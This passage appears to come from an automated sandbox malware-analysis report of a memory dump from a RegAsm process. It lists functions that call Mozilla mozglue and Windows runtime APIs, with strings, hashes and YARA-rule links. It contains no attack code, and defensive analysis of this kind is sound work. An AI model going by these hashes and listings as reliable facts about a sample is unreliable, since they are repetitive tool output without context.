strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C72A90C
LeaveCriticalSection.KERNEL32(6C74F770), ref: 6C72A97E

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: b72d47f9aefe739b84847edc084d0b7941ebfc098e92c8e721343c8fb9f4d0c8
Instruction ID: 8fe7cdd9f34cb7f86cffb1368ada7b19ce2d62277eeec374d7d145f060a0dbe7
Opcode Fuzzy Hash: b72d47f9aefe739b84847edc084d0b7941ebfc098e92c8e721343c8fb9f4d0c8
Instruction Fuzzy Hash: 9641A3B0E002448FDB00DFA4D949BDEBB75FF08324F108629E866AB791D735E945CB91

Function 6C6D1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C6D152B,?,?,?,?,6C6D1248,?), ref: 6C6D159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C6D152B,?,?,?,?,6C6D1248,?), ref: 6C6D15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C6D152B,?,?,?,?,6C6D1248,?), ref: 6C6D15E7
free.MOZGLUE(?,?,?,?,?,?,6C6D152B,?,?,?,?,6C6D1248,?), ref: 6C6D1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C6D152B,?,?,?,?,6C6D1248,?), ref: 6C6D1637

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 90e5af0cf063933471e988c8792691fbb01d7132c23acc497ee4486ab673db35
Instruction ID: c90f9182462851984be336155882aa08f729e66c0f98644727a1cf2fab4a2456
Opcode Fuzzy Hash: 90e5af0cf063933471e988c8792691fbb01d7132c23acc497ee4486ab673db35
Instruction Fuzzy Hash: A0312CB1A001148BC7148E7CD8504AE73E5FB8137472A0B6DE423DBBD4EB70F9058799

Function 6C72AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C73E330,?,6C6EC059), ref: 6C72AD9D

Part of subcall function 6C6DCA10: malloc.MOZGLUE(?), ref: 6C6DCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C73E330,?,6C6EC059), ref: 6C72ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C73E330,?,6C6EC059), ref: 6C72AE01
GetLastError.KERNEL32(?,00000000,?,?,6C73E330,?,6C6EC059), ref: 6C72AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C73E330,?,6C6EC059), ref: 6C72AE3D

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 91f4f78470e395b6bada8ef0f13cfdc14f4f0979d95b0deea24a9e5629c1ca4a
Instruction ID: b78ad46456a1a8bf7e75b1cdda01a0937ee35ce1da5791289df47ef9d8439f6f
Opcode Fuzzy Hash: 91f4f78470e395b6bada8ef0f13cfdc14f4f0979d95b0deea24a9e5629c1ca4a
Instruction Fuzzy Hash: 0D3193B1D002259FD710DF758D49AABB7F8EF49624F158829E85AD7700E734A805C7A4

Function 6C725EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C73DCA0,?,?,?,6C6FE8B5,00000000), ref: 6C725F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C6FE8B5,00000000), ref: 6C725F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C6FE8B5,00000000), ref: 6C725F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C6FE8B5,00000000), ref: 6C725F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C6FE8B5,00000000), ref: 6C725FD6

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: e15ad421720d37bf3c7317b7f15a16bf2c04eca1c3818e26275f5f5f0c3ef33c
Instruction ID: 81ef91acd0e6ae2e82936dda83ace1ef569251b54dc51da3525791605a952d77
Opcode Fuzzy Hash: e15ad421720d37bf3c7317b7f15a16bf2c04eca1c3818e26275f5f5f0c3ef33c
Instruction Fuzzy Hash: 74313034300A008FD760DF29D998E2AB7F9FF89319BA48569F55687B99C735EC41CB80

Function 6C6CB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C6CB532
moz_xmalloc.MOZGLUE(?), ref: 6C6CB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C6CB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C6CB57E
free.MOZGLUE(00000000), ref: 6C6CB58F

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: ee20ec3034c74f4fcf6042a7a0e46966e6cbd12c73fbbbe31c781b201a929a02
Instruction ID: c9755b580e49071d1329a37e6ec8215303deace2f09e640ad455ab2b9741be53
Opcode Fuzzy Hash: ee20ec3034c74f4fcf6042a7a0e46966e6cbd12c73fbbbe31c781b201a929a02
Instruction Fuzzy Hash: 9A210571B002059BDB009F68CC40BAEBBB9FF86308F684129E818DB341E736D911CBA5

Function 6C6CB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C6CB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C6CB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C6CB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6CB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6CB849

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: ee81c30a69717da16b070d8c6ad43eb7d0325330b8d12ebcc0d40ed6c52a6cd4
Instruction ID: 5b6f275b27a1f57b663b43de6022516fcba299ce21010f3a6f1413a2b72a3d62
Opcode Fuzzy Hash: ee81c30a69717da16b070d8c6ad43eb7d0325330b8d12ebcc0d40ed6c52a6cd4
Instruction Fuzzy Hash: 50213DB1E002199FDF04DFA9D8855FEBBB4EF89318F14812AEC15A7341E731A944CBA5

Function 6C726E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C726E78

Part of subcall function 6C726A10: InitializeCriticalSection.KERNEL32(6C74F618), ref: 6C726A68
Part of subcall function 6C726A10: GetCurrentProcess.KERNEL32 ref: 6C726A7D
Part of subcall function 6C726A10: GetCurrentProcess.KERNEL32 ref: 6C726AA1
Part of subcall function 6C726A10: EnterCriticalSection.KERNEL32(6C74F618), ref: 6C726AAE
Part of subcall function 6C726A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C726AE1
Part of subcall function 6C726A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C726B15
Part of subcall function 6C726A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C726B65
Part of subcall function 6C726A10: LeaveCriticalSection.KERNEL32(6C74F618,?,?), ref: 6C726B83

MozFormatCodeAddress.MOZGLUE ref: 6C726EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C726EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C726EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C726EFF

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: d1f641b76183b913c99e0d5f2766b557bb0719e987e7e8e8c7ac082311f23ab1
Instruction ID: e26eb2a9bb122376d3ff4282539dd8062f7415e6959ea053dbb7185ce84d5ba4
Opcode Fuzzy Hash: d1f641b76183b913c99e0d5f2766b557bb0719e987e7e8e8c7ac082311f23ab1
Instruction Fuzzy Hash: 2921C4B1A042198FCF10DF69D98569E77F5FF84308F04803AE80D97240EB74AA488F92

Function 6C700D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C6C3DEF), ref: 6C700D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C6C3DEF), ref: 6C700D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C6C3DEF), ref: 6C700DAF

Strings

<jemalloc>, xrefs: 6C700D92, 6C700DB9
: (malloc) Error in VirtualFree(), xrefs: 6C700D97, 6C700DBE

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: d1c84adde142c374d1cc9591190f304c5b5eaf98738ce879be261c5eb51ecde0
Instruction ID: 464f273b0dca7ccfbf64b5ebd907e0368ba4fe326ae45b22571bbf57de35fa8e
Opcode Fuzzy Hash: d1c84adde142c374d1cc9591190f304c5b5eaf98738ce879be261c5eb51ecde0
Instruction Fuzzy Hash: F6F089B138079423E62429665E0BF6A279D67C2B75F34C036F608DA9C0DA64F814D7B5

Function 6C725850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C72586C
CloseHandle.KERNEL32 ref: 6C725878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C725898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C7258C9
free.MOZGLUE(00000000), ref: 6C7258D3

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: d244c14abc6a5cb3a05d0c30d6b71c30c91327ae13202030481fb22903b9564f
Instruction ID: 844e28e6ed3f74bf85a46ea5d02ae71e8ed51cef695f58fd17849e14626a5d88
Opcode Fuzzy Hash: d244c14abc6a5cb3a05d0c30d6b71c30c91327ae13202030481fb22903b9564f
Instruction Fuzzy Hash: 4D011D717042019BDF00FF2AED08A16BBB9EB9332E724C177E51AD2610E77598158F95

Function 6C717620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C7175C4,?), ref: 6C71762B

Part of subcall function 6C6DCA10: malloc.MOZGLUE(?), ref: 6C6DCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C7174D7,6C7215FC,?,?,?), ref: 6C717644
GetCurrentThreadId.KERNEL32 ref: 6C71765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C7174D7,6C7215FC,?,?,?), ref: 6C717663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C7174D7,6C7215FC,?,?,?), ref: 6C717677

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 33d72232222413bf85af49d28af20d6a8b62051eb50ad97bc9d416b13b4ae7c9
Instruction ID: 680a5d7e3c56058007e82c6ce8b95cdcd86944576c743033b1f8ecce5c9a6df5
Opcode Fuzzy Hash: 33d72232222413bf85af49d28af20d6a8b62051eb50ad97bc9d416b13b4ae7c9
Instruction Fuzzy Hash: CBF08171E10755ABD7009F61C848A69B778FFEA259F118366F90542601E7B0B9D08BD0

Function 6C721700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C721800

Part of subcall function 6C6FCBE8: GetCurrentProcess.KERNEL32(?,6C6C31A7), ref: 6C6FCBF1
Part of subcall function 6C6FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6C31A7), ref: 6C6FCBFA

Part of subcall function 6C6C4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C703EBD,6C703EBD,00000000), ref: 6C6C42A9

Strings

Details, xrefs: 6C721925
{marker.name} - {marker.data.name}, xrefs: 6C7218C7
name, xrefs: 6C721939

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 262a80ced137c202e2816f8c9dca25bceb0c7c5138d74f477d917a41c338933d
Instruction ID: 348ce94d34513a9b772b643b543b7f72662c499d4c32a51bf0a97daa8c5578c2
Opcode Fuzzy Hash: 262a80ced137c202e2816f8c9dca25bceb0c7c5138d74f477d917a41c338933d
Instruction Fuzzy Hash: D3711570A0074A9FCB04DF28D5447AAFBB2FF86314F008669D8154BB41D775EA99CBE2

Function 6C72B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6C72B0A6,6C72B0A6,?,6C72AF67,?,00000010,?,6C72AF67,?,00000010,00000000,?,?,6C72AB1F), ref: 6C72B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6C72B0A6,6C72B0A6,?,6C72AF67,?,00000010,?,6C72AF67,?,00000010,00000000,?), ref: 6C72B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6C72B0A6,6C72B0A6,?,6C72AF67,?,00000010,?,6C72AF67,?,00000010), ref: 6C72B25F

Strings

map/set<T> too long, xrefs: 6C72B1FA

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: cbbbafd3cd44b9e198273cb174c70544af17eb8c432c107c3fafc235b6d441a7
Instruction ID: 74599210327443b1cfb64ee186aca129981b482b7adf73b3ea4c541935591ace
Opcode Fuzzy Hash: cbbbafd3cd44b9e198273cb174c70544af17eb8c432c107c3fafc235b6d441a7
Instruction Fuzzy Hash: DD617C746042458FD701CF19CA84A9ABBF1FF4A358F28C5A9D85A4BB52C335FC45CB91

Function 6C6ED468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C6FCBE8: GetCurrentProcess.KERNEL32(?,6C6C31A7), ref: 6C6FCBF1
Part of subcall function 6C6FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6C31A7), ref: 6C6FCBFA

EnterCriticalSection.KERNEL32(6C74E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C6FD1C5), ref: 6C6ED4F2
LeaveCriticalSection.KERNEL32(6C74E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C6FD1C5), ref: 6C6ED50B

Part of subcall function 6C6CCFE0: EnterCriticalSection.KERNEL32(6C74E784), ref: 6C6CCFF6
Part of subcall function 6C6CCFE0: LeaveCriticalSection.KERNEL32(6C74E784), ref: 6C6CD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C6FD1C5), ref: 6C6ED52E
EnterCriticalSection.KERNEL32(6C74E7DC), ref: 6C6ED690
LeaveCriticalSection.KERNEL32(6C74E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C6FD1C5), ref: 6C6ED751

Strings

MOZ_CRASH(), xrefs: 6C6ED4BB

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 8e9944c125181f07bd3cef4963bffaf755f6532d116d5d33f8ed8053c3628785
Instruction ID: f8dfcdb6c0c9124f8204fede347de4e13d629b2ea549737895652aa071a92685
Opcode Fuzzy Hash: 8e9944c125181f07bd3cef4963bffaf755f6532d116d5d33f8ed8053c3628785
Instruction Fuzzy Hash: F251F171A097058FD324CF29C19061AB7E6EBCA318F24893FD5AAC7B84D770E804CB95

Function 6C714630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C714721

Strings

., xrefs: 6C71476A
-%llu, xrefs: 6C714733
profiler-paused, xrefs: 6C7146E4

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 7fd95820604ffee36b30800959998a0b67718223721a03d7e407b46b96572337
Instruction ID: 10cbef348e72db38daac13425e274e09b2c477a1f78bb3c79c7e54034d82fb4a
Opcode Fuzzy Hash: 7fd95820604ffee36b30800959998a0b67718223721a03d7e407b46b96572337
Instruction Fuzzy Hash: 4C418971F087089BCB08DF78D95119EBBF6EF85358F14863EE859ABB81EB3098048745

Function 6C739830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C73985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C73987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C7398DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C7398D9

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 1a74ebbba58c57f8867b21f39de57aaf5ba9b986a727d699029d392f97258c37
Instruction ID: 1257a504d3f9ee88bc99b7b5e19141582062289b4ef1a1825be9f2e852f0b032
Opcode Fuzzy Hash: 1a74ebbba58c57f8867b21f39de57aaf5ba9b986a727d699029d392f97258c37
Instruction Fuzzy Hash: D3310575B0010CAFDB14AF59D8449EF77A9DF89318F10802DEA2A9BB41CB7159098BE9

Function 6C7146E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C714721

Part of subcall function 6C6C4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C703EBD,00000017,?,00000000,?,6C703EBD,?,?,6C6C42D2), ref: 6C6C4444

Strings

., xrefs: 6C71476A
-%llu, xrefs: 6C714733
profiler-paused, xrefs: 6C7146E4

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
